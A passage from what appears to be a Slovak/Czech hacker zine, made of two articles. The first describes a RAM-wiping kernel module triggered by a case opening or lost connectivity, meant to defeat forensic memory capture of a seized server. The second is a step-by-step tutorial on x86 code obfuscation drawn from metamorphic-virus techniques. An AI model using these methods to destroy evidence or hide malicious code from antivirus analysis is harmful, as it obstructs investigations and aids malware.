    To čo potrebujeme spraviť je: 1. Odmontovať čo ide, alebo to aspoň premontovať read-only. Zbytočne ale neblikať diskom, aby sme nedostali dusíkom:) 2. Natiahnuť čistiaci modul, ktorý vyčistí všetko čo môže a mašinu nechá v zombie stave.


    Čo všetko by taký modul mal spraviť, aby si pod sebou neodrezal konár príliš skoro, a nenechal dáta v RAMke?


    Najprv musí zistiť, na ktorých (fyzických) adresách je namapovaná samotná RAM. Keby sme začali zapisovať do namapovaných zariadení, mohli by sme dopadnúť nedobre.


    V Linuxe to vieme elegantne zistiť z /proc/iomem

    Napr.



    [niekt0@server ~]$ cat /proc/iomem
    00000000-00000fff : System RAM
    00001000-00005fff : reserved
    00006000-0009cfff : System RAM
    0009d000-0009ffff : RAM buffer
    00100000-bf698fff : System RAM
    01000000-0133ceca : Kernel code
    0133cecb-014f46af : Kernel data
    01574000-0169f897 : Kernel bss
    bf699000-bf6aefff : reserved
    bf6af000-bf6cdfff : ACPI Tables
    bf6ce000-bfffffff : reserved
    d9800000-d9ffffff : PCI Bus 0000:03
    d9800000-d9ffffff : 0000:03:03.0
    ...
    fe000000-ffffffff : reserved
    fec00000-fec00fff : IOAPIC 0
    fed00000-fed003ff : HPET 0
    fed50000-fed53fff : pnp 00:0a
    fee00000-fee00fff : Local APIC
    100000000-23fffffff : System RAM

    Nás zaujímajú riadky s "System RAM" (resp. RAM buffer). V tomto konkrétnom prípade teda dostávame 4 rozsahy na zmazanie:

    00000000-00000fff
    00006000-0009cfff
    00100000-bf698fff
    100000000-23fffffff


    Pri samotnom mazaní sa nemôžeme spoliehať na jadro, pretože jeho časti si môžeme odstreliť pod rukami. Dokonca sa nemôžeme spoľahnúť ani na prekladové tabuľky (virtual page table) ktoré potrebujeme na preklad z lineárnej na fyzickú adresu.


    Preto si spravíme malý asmeblerový kód, ktorý vykoná samotné zmazanie, a bude pri tom používať vlastné minimalistické tabuľky. Namapovanie potrebnej stránky zabezpečíme ručnou úpravou našich tabuliek.


    Moju implementáciu je možné nájsť na [3]. Úprava tabuliek za behu je tak trochu prasačina, ale funguje to v podstate podla popisu vyššie.


    Zostáva nám ešte vyriešiť, na čo by sme mohli náš skript napichnúť. Celkom určite je dobrým nápadom event "cover opened", to aj spravíme, ale nie je to dostatočné. Ak by to dumpujúci predpokladal, senzor sa dá jednoducho oklamať. Dôležitejšie je napichnúť sa na stratu konektivity. Samozrejme, môžeme si napísať vlastný skript, s ľubovolnými timeotmi, ľubovolným spôsobom kontroly X serverov, aby sme predišli falošným poplachom. Zároveň, takú kontrolu pomocou ssh/ssl pripojení by nemalo byť možné emulovať. (za predpokladu že nebudeme používať štandardne certifikačné "autority":)


    Technik ješterkov je teda postavený pred dve voľby: Nechať server zapojený, a riskovať že bude na diaľku vypnutý, resp. jeho dáta upravené. Alebo server okamžite odpojiť, a riskovať že na odpojenie je napichnutý skript, ktorý zmaže RAMku.


    Alternatívne môže preventívne zmraziť RAMku, čo ale predstavuje väčšie nároky na jeho technickú zručnosť, a vyžaduje prítomnosť mobilného zariadenia na skopírovanie RAMky.


    Pri súčasnom hw 100 percentné obranné riešenie neexistuje, jedine snáď podložiť si server EMP mínou;) Ale je možné forenznú analýzu značne skomplikovať.


    Zaujímavá je otázka trvanlivosti dát v RAMke, po tom čo boli prepísané.
    Čerpajúc z [4], vyzerá to že istá možnosť rekonštrukcie tu je.
    Viacnásobné prepísanie nám pri mazaní ale pravdepodobne nepomôže.
    Našou snahou by malo byť nechať nové dáta uležať čo najdlhšie,
    teda stroj nereštartovať, ale niekde sa bezpečne zacykliť.


    Popísaný modul je možné stiahnuť si z [3].


    niekt0 (ryba) hysteria (bodka) sk


    [1] http://citp.princeton.edu/memory/code/ />
    [2]
    http://frozencache.blogspot.com/ />
    [3]
    http://hysteria.sk/~niekt0/alzheimer/ />
    [4]
    http://www.cs.auckland.ac.nz/~pgut001/pubs/secure_del.html />


    návrat na obsah

    čo ty na to ? diskusia






    Obfuskace strojového x86 kódu


    Obfuskace kódu je oblíbenou technikou pro ztížení jeho analýzy nebo
    jeho rozpoznání na základě vzorů, což dnes hojně využívá například
    malware nebo softwarové protektory spustitelných souborů.



    Obfuskací kódu (angl. code obfuscation)
    se obecně označuje technika pro přetvoření kódu (i zdrojového) do formy těžko
    pochopitelné člověkem, ale i nějakým programem. V tomto kontextu ale
    půjde jenom o "rozbití" existujícího strojového x86 kódu, i když
    obfuskátory asemblerovských zdrojáků (za účelem obfuskovaného
    výsledného strojáku) existují taky (třeba PELock
    obfuscator
    ). Anglicky se tomu občas říká i code
    morphing
    . Nebudeme se tedy zabývat generací úplně nového kódu
    např. na základě nějakých abstraktních vzorů.



    Napsat i jednoduchý obfuskátor strojáku není úplně triviální
    záležitost, protože na začátku vyžaduje pokročilejší, alespoň statický
    disassembler, který nějak popíše vstupní instrukce, a na konci
    reasembler, který celý kód opraví a znovu sestaví do funkční
    podoby. K tomu, aby bylo možné kód bezpečně automaticky obfuskovat,
    musí být splněna řada podmínek (např. je potřeba najít všechna návěští
    v kódu, které musí být možné nakonec opravit). Už to je problém sám
    pro sebe, který navíc nemusí být řešitelný (viz Halting
    problem
    ). Řeší se tak, že kód, který má být obfuskovaný, musí
    být už předem připraven, třeba tak, že obsahuje zvláštní nápovědu pro
    obfuskátor. To je ale téma na zvláštní článek.



    K pochopení celého procesu a jednotlivých metod, jak kód
    "zamlžit", pomůže pohled do historie vývoje
    obfuskátorů, který prudce probíhal a dal se sledovat u vývoje
    klasických virů, napadajících spustitelné soubory. V tomto smyslu se
    často mluví o metamorfismu (angl. metamorphism),
    protože virus vlastně obfuskuje sama sebe.




    Metody obfuskace



    Jedním z nejznámějších průkopníků metamorfních virů byl Z0MBiE. Popsal třeba podmínky, za
    kterých je možné bezpečně prohazovat instrukce, což
    je jedna z důležitých metod, jak se zbavit jak konstantních vzorů
    v kódu, tak ztížit pochopení algoritmu. Zmiňuje tuto posloupnost instrukcí:



    [A] add eax, ecx
    [B] adc eax, edx
    [C] add ebx, ecx
    [D] adc ebx, edx



    Instrukce B závisí na A
    (ADC testuje příznak CF nastavený instrukcí
    ADD) a instrukce
    D závisí na C. Současně

    C nezávisí na A ani na
    B, proto je lze prohodit (níž jsou další příklady):



    [C] add ebx, ecx
    [D] adc ebx, edx
    [A] add eax, ecx
    [B] adc eax, edx


    Aby mohl s kódem manipulovat, vytvořil XDE, eXtended Disassembler
    Engine, který je založen na ADE, který umožňuje počáteční disasembling a konečný
    zpětný asembling, což je jedna z nutností popsáných výše.



    Metamorfismus později pěkně popsal Mental Driller.
    Zmiňuje celý
    proces
    , kterým musí kód projít, aby ho šlo modifikovat a aby
    byl na konci stále funkční. Zmiňuje další důležitou techniku, rozložení
    instrukce
    na více jiných, ale se stejným výsledkem, konkrétně
    PUSH REG na (níž jsou další ukázky):




    push reg ; původní instrukce, např. push eax
    ->
    mov [mem], reg ; předem připravená dočasná paměť
    push [mem]


    Do (automatické) analýzy takového kódu je potom navíc potřeba zahrnout
    nový odkaz do paměti, což ji zpomaluje a komplikuje.



    Zatím byly zmíněny dvě metody obfuskace: Prohazování instrukcí (to
    zahrnuje i celé bloky instrukcí) a jejich rozklad. Dá se říct, že tyto jsou
    ty nejdůležitější, protože využívají pouze původních instrukcí a kvůli
    jejich komplikovanosti není lehké navrátit kód do původního stavu.




    Změna toku řízení



    Další metoda, jejíž podstatou není přidávání nových
    instrukcí, je změna toku řízení (angl. control-flow-graph
    mutation). Jde prostě o "vytržení" kusu kódu, jeho přemístění
    a slinkování s původním kódem pomocí instrukcí JMP:



    ; původní kód

    mov al, [ebx]
    inc ebx ; tato instrukce bude přesunuta
    sub al, 32

    ; obfuskovaný kód

    mov al, [ebx]
    jmp get_over
    get_back:
    sub al, 32
    jmp skip ; přeskoč přesunutou instrukci
    get_over:
    inc ebx
    jmp get_back ; vrať se na původní místo
    skip:


    Za splnění dalších podmínek lze využít i instrukce
    CALL-RET a tím vlastně vytvořit falešnou proceduru:



    mov al, [ebx]
    call get_over
    sub al, 32
    jmp skip
    get_over:
    inc ebx
    ret
    skip:


    Další metody už přidávají nové instrukce:




    Falešné skoky



    Jde o přidávání nadbytečných skoků:



    ; původní kód

    mov al, [ebx]
    inc ebx
    sub al, 32

    ; obfuskovaný kód

    mov al, [ebx]
    jc bebacksoon ; falešný skok, který se možná neprovede, nezáleží na tom
    get_back:
    inc ebx
    sub al, 32
    jmp skip ; přeskoč přidaný skok zpět
    bebacksoon:
    jmp get_back ; pouze návrat na původní místo
    skip:


    Nebo "zřetězení" existujícího skoku za účelem zakrytí skutečné cílové
    adresy:



    ; původní kód

    get_null:
    mov al, [ebx]
    inc ebx
    cmp al, 0
    jne get_null

    ; obfuskovaný kód

    get_null:
    mov al, [ebx]
    jmp skip ; přeskoč přidaný skok na get_null
    xget_null:
    jmp get_null
    skip:
    inc ebx
    cmp al, 0
    jne xget_null ; zřetězení s meziskokem



    Nebo vytvoření skoku do instrukce, což dokáže zmást ty
    disasemblery, které nedokáží disasemblovat na návěští
    skoku, které je uvnitř už dříve disasemblované instrukce. Přidáme
    např. operační kód B8, který vytvoří instrukci
    MOV EAX, původní_4_bajty. Dál přidáme instrukci
    skoku, která zajistí, že se spustí skutečná původní instrukce (ve
    sloupci vlevo je strojový kód instrukcí):



    ; původní kód

    8A83 00010000 mov al, [ebx+100]

    ; obfuskovaný kód

    EB 01 jmp $+3 ; přeskoč přidaný bajt 0xB8
    B8 8A830001 mov eax, 100838A ; 8A, 83, 00, 01 = 4 bajty z původního kódu
    0000 add [eax], al ; 0000 = zbývající 2 bajty

    ; jinak zapsáno

    EB 01 jmp skip
    B8 db 0B8
    skip:
    8A83 00010000 mov al, [ebx+100]


    Takže jsme vlastně přidali jenom 3 bajty EB,
    01, B8 před původní instrukci.




    Nicnedělající kód



    Pro zpomalení jak automatické analýzy (emulátoru), tak ručního
    prohledávání kódu obfuskátory vkládají kód, jenž ve výsledku nemá
    žádný význam. Třeba Z0MBiE proto vytvořil Executable Trash
    Generator
    , který měl za úkol zpomalit antivirové emulátory
    vytvořením spousty nicnedělajícího kódu, vloženého mezi dekryptor
    a samotný kód viru.



    Takovým nicnedělajícím kódem může být třeba následující funkce, volaná
    z náhodně vybraných míst původního kódu:



    do_nothing:
    push ebp
    mov ebp, esp ; simuluj vytvoření stack frame
    push ecx
    mov ecx, 0 ; nastav na nula, takže
    repe cmpsw ; REPE se neprovede ani jednou
    pop ecx
    pop ebp ; uvolni stack
    retn



    Dál se dá uvažovat například o vkládání méně známých NOP
    instrukcí jako FNENI nebo FNDISI a dalších
    metodách.




    Obfuskace prakticky


    Pro ilustraci všech uvedených metod budeme krok za
    krokem obfuskovat jednoduchou implementaci funkce strcpy ze
    standardní knihovny:




    strcpy:
    push ebp
    mov ebp, esp ; parametry adresuj přes EBP
    mov edx, [ebp+08] ; zapamatuj si parametr r pro výstup
    mov esi, [ebp+0C] ; zdrojový řetězec cs
    mov edi, [ebp+08] ; cílový řetězec r

    copy:
    mov al, [esi]
    mov [edi], al ; kopíruj bajt po bajtu
    inc esi
    inc edi ; posuň ukazatele
    cmp al, 0 ; konec řetězce?
    jne copy

    mov eax, edx ; vrať r
    pop ebp ; obnov EBP
    ret



    Rozklad instrukcí



    Začneme rozkladem instrukcí, který nám zvýší počet instrukcí pro
    aplikaci ostatních metod.


    push ebp - interně jde o dvě operace: snížení
    ESP o 4 bajty a vložení EBP na

    [ESP]. Toho využijeme, ale celou operaci ještě víc
    zamotáme. Nejdřív provedeme push náhodně vybrané
    konstanty, kterou potom přepíšeme registrem EBP:



    push ebp
    ->
    push 0F4DCE10
    mov [esp], ebp

    mov ebp, esp - použijeme rozklad, který nejprve
    dočasně modifikuje zdrojový registr ESP náhodně vybraným
    registrem, vloží ho do EBP a potom opraví oba registry na
    správné hodnoty. Poznámka: předpokládáme, že kód běží v user mode, kde
    můžeme dočasně narušit hodnotu ESP.



    mov ebp, esp
    ->
    sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    add esp, ebx

    mov edx, [ebp+08] a následující podobné
    instrukce: pokud nemá obfuskátor informaci o tom, že zdrojová paměť je
    zapisovatelná (jde o stack), nemůže použít řadu rozkladů, které
    nejprve nějak modifikují zdrojovou paměť. Pořád ale existuje několik
    možností, konkrétně využijeme možnosti postupného plnění registru
    EDX:



    mov edx, [ebp+08]
    ->
    mov dx, [ebp+0A] ; vyšší WORD
    shl edx, 10 ; do vyššího WORD EDX
    mov dh, [ebp+09]
    mov dl, [ebp+08]



    Instrukce SHL na rozdíl od původního MOV,
    který rozkládáme, sice přepíše příznaky (jako CF,
    ZF atd.), ale obfuskátor dokáže analýzou zjistit, že
    příznaky lze přepsat, protože na nich žádná z následujících instrukcí
    nezávisí (nenásleduje např. instrukce ADC nebo
    JZ).


    mov esi, [ebp+0C] - použijeme třeba jednoduchý
    push-pop rozklad:



    mov esi, [ebp+0C]
    ->
    push dword [ebp+0C]
    pop esi

    mov edi, [ebp+08] - můžeme použít např. načtení
    adresy do náhodně vybraného registru (který si nejprve uložíme
    a potom zase obnovíme):




    mov edi, [ebp+08]
    ->
    push edx
    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx

    mov al, [esi] - obfuskátor může využít faktu,
    že nakonec je celý EAX přepsán, takže nezáleží na původní
    hodnotě v AH:



    mov al, [esi]
    ->

    mov ah, [esi]
    xchg ah, al

    mov [edi], al - pro vytvoření iluze závislosti
    na předchozí hodnotě [EDI] ji nejdřív nastavíme na
    konkrétní hodnotu:



    mov [edi], al
    ->
    mov byte [edi], 5F
    xor [edi], al
    xor byte [edi], 5F

    inc esi - pro ztížení analýzy použijeme konstantu ze
    systémového registru, konkrétně CR0, jehož spodních 16
    bitů (registr MSW) můžeme na libovolné úrovni oprávnění
    číst instrukcí SMSW. Využijeme faktu, že bit 0 (Protection
    Enable) je v chráněném módu vždy nastaven (MSW načteme do
    náhodně vybraného registru, který napřed uložíme):



    inc esi
    ->
    push ebp
    smsw bp
    and ebp, 1
    add esi, ebp
    pop ebp

    inc edi - operaci zakryjeme odečtením náhodně
    vybraného registru a jeho opětovným přičtením pomocí ADC
    s nastaveným CF:



    inc edi
    ->

    sub edi, eax
    stc
    adc edi, eax

    cmp al, 0 - nevýhoda instrukce CMP
    je, že nezapisuje do cílového operandu, na rozdíl od
    SUB, takže není tolik možností, jak rozkládat. V tomto
    případě ale dokáže obfuskátor zjistit, že hodnota AL je ve
    všech možných větvých kódu nakonec přepsána (na návěští
    copy je instrukce MOV AL a dál v kódu
    zase MOV EAX), takže AL může být před
    testováním nějak upraven, aby konstanta (0) nebyla tak
    viditelná. Zase využijeme náhodně vybraný registr:



    cmp al, 0
    ->
    add al, ch
    cmp al, ch

    jne copy - JNE skočí na návěští, pokud
    není nastaven ZF. Protože ale předchází aritmetická
    instrukce CMP, můžeme výsledek testovat na
    vyšší nebo nižší pomocí dvou instrukcí JA

    a JB. A ještě to vylepšíme inverzí na JNB
    a pomocným skokem:



    jne copy
    ->
    ja copy
    jnb finished
    jmp copy
    finished:

    mov eax, edx - budeme předpokládat, že
    obfuskátor ví (např. díky tomu, že zná volací konvenci této funkce),
    že může přepsat příznaky i registr EDX (jde o volatile

    registr). Potom jde tato instrukce rozložit třeba na:



    mov eax, edx
    ->
    xor eax, edx
    xor edx, eax
    xor eax, edx

    pop ebp - POP nejdřív vloží hodnotu do
    EBP a potom přičte k ESP 4 bajty. Samotné
    přičtení provedeme malým trikem pro pobavení.



    pop ebp
    ->
    mov ebp, [esp]
    pop dword [esp+4]

    ret - znovu předpokládáme, že obfuskátor zná volací
    konvenci a tudíž ví, že registry EAX, ECX
    a EDX může přepsat, a proto jde RET nahradit
    následující sekvencí.



    ret
    ->
    pop ecx
    jmp ecx


    Celá funkce vypadá v tuto chvíli takto:



    strcpy:
    push 0F4DCE10 ; push ebp
    mov [esp], ebp

    sub esp, ebx ; mov ebp, esp
    mov ebp, esp
    add ebp, ebx
    add esp, ebx

    mov dx, [ebp+0A] ; mov edx, [ebp+08]
    shl edx, 10
    mov dh, [ebp+09]
    mov dl, [ebp+08]

    push dword [ebp+0C]; mov esi, [ebp+0C]
    pop esi

    push edx ; mov edi, [ebp+08]
    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx

    copy:
    mov ah, [esi] ; mov al, [esi]
    xchg ah, al

    mov byte [edi], 5F ; mov [edi], al
    xor [edi], al
    xor byte [edi], 5F

    push ebp ; inc esi
    smsw bp
    and ebp, 1
    add esi, ebp
    pop ebp

    sub edi, eax ; inc edi
    stc
    adc edi, eax

    add al, ch ; cmp al, 0
    cmp al, ch

    ja copy ; jne copy
    jnb finished
    jmp copy
    finished:

    xor eax, edx ; mov eax, edx
    xor edx, eax
    xor eax, edx

    mov ebp, [esp] ; pop ebp
    pop dword [esp+4]

    pop ecx ; ret
    jmp ecx



    Prohazování instrukcí



    Pro zjednodušení se pokusíme prohazovat pouze sousedící instrukce, ne celé
    bloky instrukcí:




    strcpy:
    push 0F4DCE10
    A) mov [esp], ebp

    B) sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    add esp, ebx


    Tyto nejde prohodit, protože A zapisuje na paměť
    adresovanou ESP a současně B mění
    ESP.




    B) sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    C) add esp, ebx

    D) mov dx, [ebp+0A]
    D) shl edx, 10
    mov dh, [ebp+09]
    mov dl, [ebp+08]


    Tyto (C a D) prohodit jde, protože
    žádný z operandů instrukcí se nepřekrývá:



    sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    D) mov dx, [ebp+0A]
    D) shl edx, 10
    C) add esp, ebx
    mov dh, [ebp+09]
    E) mov dl, [ebp+08]

    F) push dword [ebp+0C] ; původně mov esi, [ebp+0C]
    pop esi


    Protože předpokládáme, že vrchol zásobníku (ESP)
    nekoliduje s ebp+08 ani s ebp+0C (jinak
    bysme nemohli rozložit původní MOV

    z [ebp+OC] na PUSH), instrukce můžeme
    prohodit:



    mov dh, [ebp+09]
    F) push dword [ebp+0C]
    E) mov dl, [ebp+08]
    G) pop esi

    H) push edx
    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx


    Instrukce G a H prohodit nejde,
    protože obě manipulují se zásobníkem.



    push edx
    lea edx, [ebp+08]
    mov edi, [edx]
    I) pop edx

    copy:
    J) mov ah, [esi]
    xchg ah, al


    Instrukce I a J zase prohodit nejde, protože je mezi nimi návěští
    skoku. Jinými slovy, POP EDX se nemůže stát součástí
    copy smyčky, nebo MOV AH z ní nemůže
    vypadnout.



    mov ah, [esi]
    K) xchg ah, al

    L) mov byte [edi], 5F
    xor [edi], al
    xor byte [edi], 5F


    Přehodit K a L je možné, žádné
    z operandů instrukcí spolu nekolidují:



    mov ah, [esi]
    L) mov byte [edi], 5F
    K) xchg ah, al
    xor [edi], al
    M) xor byte [edi], 5F

    N) push ebp
    N) smsw bp
    and ebp, 1
    add esi, ebp
    pop ebp



    Přehodit M a N je zase možné. XOR sice na rozdíl od
    PUSH a SMSW přepisuje příznaky, ale žádná
    z následujících instrukcí na nich nezávisí.



    xor [edi], al
    N) push ebp
    N) smsw bp
    M) xor byte [edi], 5F
    and ebp, 1
    add esi, ebp
    O) pop ebp

    P) sub edi, eax
    P) stc
    adc edi, eax


    Instrukce O a P spolu prohodit
    můžeme, protože POP nemění příznaky (ADC

    závisí na příznaku CF):



    M) xor byte [edi], 5F
    and ebp, 1
    add esi, ebp
    P) sub edi, eax
    P) stc
    O) pop ebp
    Q) adc edi, eax

    R) add al, ch
    cmp al, ch


    Naopak instrukce Q a R nejde
    prohodit, protože ADD by změnila CF.



    add al, ch
    S) cmp al, ch

    T) ja copy
    T) jnb finished
    T) jmp copy
    finished:

    U) xor eax, edx
    xor edx, eax
    xor eax, edx


    Žádnou z instrukcí S, T
    a U přehodit nejde, protože instrukce
    T mění řízení a navíc mezi T

    a U je návěští, přes které nelze nikdy instrukce
    přehazovat.



    xor eax, edx
    xor edx, eax
    V) xor eax, edx

    W) mov ebp, [esp]
    W) pop dword [esp+4]


    Instrukce V a W žádné z operandů nesdílejí, takže je prohodíme.



    xor eax, edx
    xor edx, eax
    W) mov ebp, [esp]
    W) pop dword [esp+4]
    V) xor eax, edx

    X) pop ecx
    jmp ecx


    Instrukce V a X spolu také můžeme ze
    stejného důvodu prohodit:




    W) mov ebp, [esp]
    W) pop dword [esp+4]
    X) pop ecx
    V) xor eax, edx
    jmp ecx



    A poslední instrukce JMP je zase neprohoditelná.



    A už to začíná vypadat pěkně:



    strcpy:
    push 0F4DCE10
    mov [esp], ebp

    sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    mov dx, [ebp+0A]
    shl edx, 10
    add esp, ebx
    mov dh, [ebp+09]
    push dword [ebp+0C]
    mov dl, [ebp+08]
    pop esi

    push edx
    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx

    copy:
    mov ah, [esi]
    mov byte [edi], 5F
    xchg ah, al
    xor [edi], al
    push ebp
    smsw bp
    xor byte [edi], 5F
    and ebp, 1
    add esi, ebp
    sub edi, eax
    stc
    pop ebp
    adc edi, eax

    add al, ch
    cmp al, ch

    ja copy
    jnb finished
    jmp copy
    finished:

    xor eax, edx
    xor edx, eax
    mov ebp, [esp]
    pop dword [esp+4]
    pop ecx
    xor eax, edx
    jmp ecx



    Změna toku řízení


    Obfuskátor náhodně vybere části kódu pro přesun. S použitím
    instrukcí JMP nebývá problém, v případě instrukcí
    závisejících na zásobníku nesmí být pro přesun použita instrukce
    CALL, která vkládá na zásobník návratovou
    adresu. Je vidět, že došlo k docela slušné fragmentaci kódu:




    strcpy:
    push 0F4DCE10
    jmp moved1 ; instrukce mov [esp], ebp
    back1: ; mov dx, [ebp+0A] přemístěny
    shl edx, 10
    add esp, ebx
    mov dh, [ebp+09]
    push dword [ebp+0C]
    mov dl, [ebp+08]
    jmp skip_moved2 ; vytvoř prostor pro přemístěný kód


    moved2:
    smsw bp
    xor byte [edi], 5F
    and ebp, 1
    add esi, ebp
    sub edi, eax
    stc
    retn

    skip_moved2:
    pop esi
    push edx
    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx
    copy:
    mov ah, [esi]
    mov byte [edi], 5F
    xchg ah, al
    xor [edi], al
    push ebp
    call moved2 ; smsw bpstc

    pop ebp
    adc edi, eax
    add al, ch
    cmp al, ch
    jmp moved3 ; instrukce ja copy a jnb finished
    back3:
    jmp copy

    moved1: ; za původní "jmp copy" šlo bezpečně vložit kód
    mov [esp], ebp
    sub esp, ebx
    mov ebp, esp
    add ebp, ebx
    mov dx, [ebp+0A]
    jmp back1

    finished:
    xor eax, edx
    xor edx, eax
    jmp skip_moved3 ; vytvoř prostor pro přemístěný kód

    moved3:
    ja copy
    jnb finished
    jmp back3

    skip_moved3:
    mov ebp, [esp]
    pop dword [esp+4]
    pop ecx
    xor eax, edx
    jmp ecx




    Falešné skoky


    Obfuskátor přidá jeden nadbytečný podmíněný skok
    JNC, dva skoky (CALL a JMP)
    zřetězí a vytvoří několik skoků do instrukce.


    Pro prohlížení skoků do instrukce v debuggeru může
    být potřeba vypnout analýzu, která je odhalí a kód zobrazí správně.



    strcpy:

    jmp skip_new_byte

    db 0B8 ; vytvoří falešnou instrukci MOV EAX, xxxxxxxx
    skip_new_byte: ; (pohltí následující čtyři bajty)

    push 0F4DCE10
    jmp moved1

    bebacksoon: ; za nový "jmp moved1" šlo bezpečně vložit kód
    jmp goingback

    back1:
    shl edx, 10
    add esp, ebx
    jmp skip_moved2_chain ; vytvoř prostor pro meziskok


    moved2_chain:
    jmp moved2 ; meziskok

    skip_moved2_chain:
    mov dh, [ebp+09]
    push dword [ebp+0C]
    mov dl, [ebp+08]
    jmp skip_moved2

    moved2:
    smsw bp
    xor byte [edi], 5F
    and ebp, 1
    add esi, ebp

    jnc bebacksoon ; vložený podmíněný skok
    goingback: ; (někdy se provede, někdy ne, nezáleží na tom)

    sub edi, eax
    stc
    retn

    skip_moved2:
    pop esi
    push edx

    jmp skip_new_word

    db 05, 12 ; vytvoří falešnou instrukci ADD EAX, xxxxxx12
    skip_new_word: ; (pohltí následující tři bajty)

    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx
    copy:
    mov ah, [esi]
    mov byte [edi], 5F
    xchg ah, al
    xor [edi], al
    push ebp

    ; call moved2 ; zřetězení skoku
    call moved2_chain

    pop ebp
    adc edi, eax
    add al, ch
    cmp al, ch
    jmp moved3
    back3:

    ; jmp copy ; zřetězení skoku
    jmp copy_chain

    moved1:
    mov [esp], ebp
    sub esp, ebx

    jmp skip_new_dword
    db 66, 81, 34, 9C ; vytvoří falešnou instrukci XOR WORD [ESP+EBX*4], xxxx
    skip_new_dword: ; (pohltí následující dva bajty)

    mov ebp, esp
    add ebp, ebx
    mov dx, [ebp+0A]
    jmp back1

    finished:
    xor eax, edx
    xor edx, eax
    jmp skip_moved3

    moved3:
    ja copy
    jnb finished
    jmp back3

    copy_chain: ; za nový "jmp back3" šlo bezpečně vložit meziskok
    jmp copy

    skip_moved3:
    mov ebp, [esp]
    pop dword [esp+4]
    pop ecx
    xor eax, edx
    jmp ecx



    Nicnedělající kód


    Nakonec obfuskátor vloží nicnedělající
    kód. Použijeme falešnou proceduru zmíněnou výše, která bude vložená
    na náhodně určené místo a náhodně volaná. Ještě ji ale vylepšíme
    tím, že bude jakoby přijímat jeden parametr (který se předává přes
    zásobník pomocí PUSH). Tím bude náhodně zvolená hodnota
    nebo registr.



    strcpy:
    jmp skip_new_byte
    db 0B8
    skip_new_byte:
    push 0F4DCE10

    push edx ; náhodný parametr
    call do_nothing_2 ; volání falešné funkce

    jmp moved1

    bebacksoon:
    jmp goingback

    back1:
    shl edx, 10
    add esp, ebx
    jmp skip_moved2_chain

    moved2_chain:
    jmp moved2

    skip_moved2_chain:
    mov dh, [ebp+09]
    push dword [ebp+0C]
    mov dl, [ebp+08]
    jmp skip_moved2

    ; za nový "jmp skip_moved2" šlo bezpečně vložit falešnou funkci

    do_nothing_2:
    push ebp
    mov ebp, esp ; simuluj vytvoření stack frame
    push ecx
    mov ecx, 0 ; nastav na nula, takže
    repe cmpsw ; REPE se neprovede ani jednou
    pop ecx
    pop ebp ; uvolni stack
    retn 4 ; odstraň vstupní DWORD parametr

    moved2:
    smsw bp
    xor byte [edi], 5F
    and ebp, 1
    add esi, ebp
    jnc bebacksoon

    push 1E3D22 ; náhodný parametr
    call do_nothing_2 ; volání falešné funkce

    goingback:
    sub edi, eax
    stc
    retn

    skip_moved2:
    pop esi
    push edx
    jmp skip_new_word
    db 05, 12
    skip_new_word:

    lea edx, [ebp+08]
    mov edi, [edx]
    pop edx
    copy:
    mov ah, [esi]
    mov byte [edi], 5F
    xchg ah, al
    xor [edi], al
    push ebp
    call moved2_chain
    pop ebp
    adc edi, eax
    add al, ch
    cmp al, ch
    jmp moved3
    back3:
    jmp copy_chain

    moved1:
    mov [esp], ebp
    sub esp, ebx
    jmp skip_new_dword
    db 66, 81, 34, 9C
    skip_new_dword:
    mov ebp, esp
    add ebp, ebx
    mov dx, [ebp+0A]
    jmp back1

    finished:
    xor eax, edx

    push ebp ; náhodný parametr
    call do_nothing_2 ; volání falešné funkce

    xor edx, eax
    jmp skip_moved3

    moved3:
    ja copy
    jnb finished
    jmp back3

    copy_chain:
    jmp copy

    skip_moved3:
    mov ebp, [esp]
    pop dword [esp+4]

    push 80001 ; náhodný parametr
    call do_nothing_2 ; volání falešné funkce

    pop ecx
    xor eax, edx
    jmp ecx




    Vyzkoušejte to


    Zdrojáky ve flat assembler syntaxi
    a spustitelné soubory pro Windows i Linux jsou tady. Program nemá
    pro zjednodušení žádný výstup, takže je potřeba ho natáhnout do
    debuggeru. Pro ověření správného výstupu stačí provést step
    over
    první instrukci CALL a podívat se do dat,
    jestli se překopírování povedlo.


    strcpy_orig_win.asm,
    strcpy_orig_win.exe



    strcpy_obfus_win.asm,
    strcpy_obfus_win.exe


    strcpy_orig_nix.asm,
    strcpy_orig_nix


    strcpy_obfus_nix.asm,
    strcpy_obfus_nix


    fasm můžete stáhnout
    tady
    . Překlad přímo do spustitelné podoby jde prostě přes
    fasm source.asm.




    Další metody obfuskace


    Spousta metod obfuskace, které jde také automaticky
    provádět, nebyla zmíněna. Jde třeba o samomodifikující
    se kód
    (SMC), kdy kód sám vytváří následující
    instrukce, takže je téměř nemožné je zjistit statickou analýzou
    kódu:



    ; původní kód

    8BC3 mov eax, ebx
    smc_me:
    03C1 add eax, ecx

    ; SMC zajistí přidání instrukce ADD dynamicky:

    8BC3 mov eax, ebx
    66C705xxxxxxxx mov word [smc_me], 0C103
    EB00 jmp $+2
    smc_me:
    0401 add al, 1 ; falešná instrukce, která bude přepsána

    Skok jmp $+2 na následující
    instrukci zajistí, že dojde ke znovunačtení kódu do cache procesoru,
    jinak by skutečně mohlo dojít ke spuštění původní instrukce
    add al, 1.



    Další zajímavou cestou pro zabránění statické
    analýzy je dynamická alokace paměti pro proměnné. V kapitole
    o prohazování instrukcí není zmíněno prohazování celých nezávislých
    bloků instrukcí, jako třeba prohození dvou funkcí.


    Další oblíbenou a dnes často používanou ochranou
    kódu na úrovni instrukcí je tenký virtuální
    stroj
    . Představit si ho jde tak, že instrukce nejsou
    vykonávány přímo, ale vykonává je emulátor. Aby
    ale nebylo možné snadno získat a analyzovat původní kód, který
    emulátor spouští, tak jsou vstupní instrukce ve formátu x86 převedeny do
    virtuálního formátu, který zná jenom emulátor. Pro zjištění formátu
    instrukcí je potom potřeba analyzovat samotný emulátor. V kombinaci
    s obfuskací a proměnlivým formátem instrukcí jde o docela slušnou
    ochranu proti analýze. Virtualizace je ale téma na samostatný
    článek.




    Zpomalení kódu


    Jak je vidět, kromě prohazování instrukcí
